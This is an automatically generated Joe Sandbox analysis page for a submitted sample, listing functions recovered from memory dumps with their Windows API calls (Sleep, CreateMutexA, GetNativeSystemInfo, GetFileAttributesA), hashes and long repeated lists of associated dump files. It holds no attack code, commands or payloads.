Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d469734d8ac4fef8c2d9fe81bb542d7af0bba0a7c225a62a0aaa343704fbad95
Instruction ID: be49ebdc01c28ad75ee26c327c2f6cb1584fca6d675faa91242f6dfa278dd0ad
Opcode Fuzzy Hash: d469734d8ac4fef8c2d9fe81bb542d7af0bba0a7c225a62a0aaa343704fbad95
Instruction Fuzzy Hash: 87313872780140DBEF0CDB78CC8D7ADBB72FB86315F208228E428972D6C7759A819752

Uniqueness

Uniqueness Score: -1.00%

Function 00C4A326 Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00C4A435
CreateMutexA.KERNELBASE(00000000,00000000,00CA51D8), ref: 00C4A453

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9e9e294992879ad5012aa5d0d4e62d35b07cbbd2b1dc8be77371b8b30224e99d
Instruction ID: 048d034695aaed8ee5a6c83c47951addf71788a7ff7fdb5aaaecb9e2c1f3757a
Opcode Fuzzy Hash: 9e9e294992879ad5012aa5d0d4e62d35b07cbbd2b1dc8be77371b8b30224e99d
Instruction Fuzzy Hash: 2C210D313C820197FB28AF69884F77C7A52FB41701F248915F5149A6E3DBB5CA80D267

Uniqueness

Uniqueness Score: -1.00%

Function 00C49E1F Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00C4A435
CreateMutexA.KERNELBASE(00000000,00000000,00CA51D8), ref: 00C4A453

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: cc3d9c35c8981c2bd96be7db22ce897fe9a65340e098c593b06f6c788510dfc5
Instruction ID: 3a8796ba1a34ce8ad26d73d8b584af3c955e36f4f71d15b6a888678f3f7f9403
Opcode Fuzzy Hash: cc3d9c35c8981c2bd96be7db22ce897fe9a65340e098c593b06f6c788510dfc5
Instruction Fuzzy Hash: 64216A727442009BEB08DF68CC8D7ADBB62FB85311F20822DE8199B2D1C7759A818751

Uniqueness

Uniqueness Score: -1.00%

Function 00C478B0 Relevance: 2.1, APIs: 1, Instructions: 551
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00C47A53

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 7af5f7961dfc6acca4feb8ee3e12da7640a6a62a87d4b020d335c19992202ff5
Instruction ID: 10d39d03aaf94055267cd37a7ce046a36964f864621716e4da23b86920fa9b85
Opcode Fuzzy Hash: 7af5f7961dfc6acca4feb8ee3e12da7640a6a62a87d4b020d335c19992202ff5
Instruction Fuzzy Hash: 4E121371E046049BDB18EB78CD4A7AE7771FB86314F904398E815AB3C2DB354E849BD2

Uniqueness

Uniqueness Score: -1.00%

Function 00C48282 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?), ref: 00C48289

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672186730.0000000000E77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672217884.0000000000E88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672237857.0000000000EA5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672253979.0000000000EAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672268479.0000000000EAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672284099.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672300776.0000000000EB0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672318993.0000000000EB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672342471.0000000000EC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672362542.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672384410.0000000000EC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672409268.0000000000EC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672430711.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672450771.0000000000ED3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672469535.0000000000EDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672488683.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672504799.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672524155.0000000000EE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672546440.0000000000EF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672562935.0000000000EF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672579385.0000000000EF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672603948.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672622190.0000000000EFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672652616.0000000000EFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672686093.0000000000F19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672708604.0000000000F2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763326.0000000000F56000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672785912.0000000000F57000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672809272.0000000000F58000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672830999.0000000000F5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672852803.0000000000F5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672876511.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672895463.0000000000F70000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_UeW2b6mU6Z.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 58ab47efa05745a6bdff6e14ff6e3dadf221051523fbec5ae542f16835fbfbed
Instruction ID: f8cfb00a27b16ebba804eb073aeb476f5d40ba1ac61729a878551ed4b38e27a7
Opcode Fuzzy Hash: 58ab47efa05745a6bdff6e14ff6e3dadf221051523fbec5ae542f16835fbfbed
Instruction Fuzzy Hash: E7C08C30211E0006FD3C0978009C5AC33007A873A4AE82B98E0744A0F1CD75580FE610

Uniqueness

Uniqueness Score: -1.00%

Function 00C48280 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?), ref: 00C48289

Memory Dump Source

Source File: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1671612301.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671668895.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671769257.0000000000CA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671813128.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671831839.0000000000CB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671932913.0000000000E1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671948925.0000000000E1C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671968251.0000000000E34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671982207.0000000000E35000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E39000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671998691.0000000000E40000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672035142.0000000000E47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672051201.0000000000E49000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672070700.0000000000E5B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672088267.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672110179.0000000000E71000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672127078.0000000000E72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672147362.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672166205.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
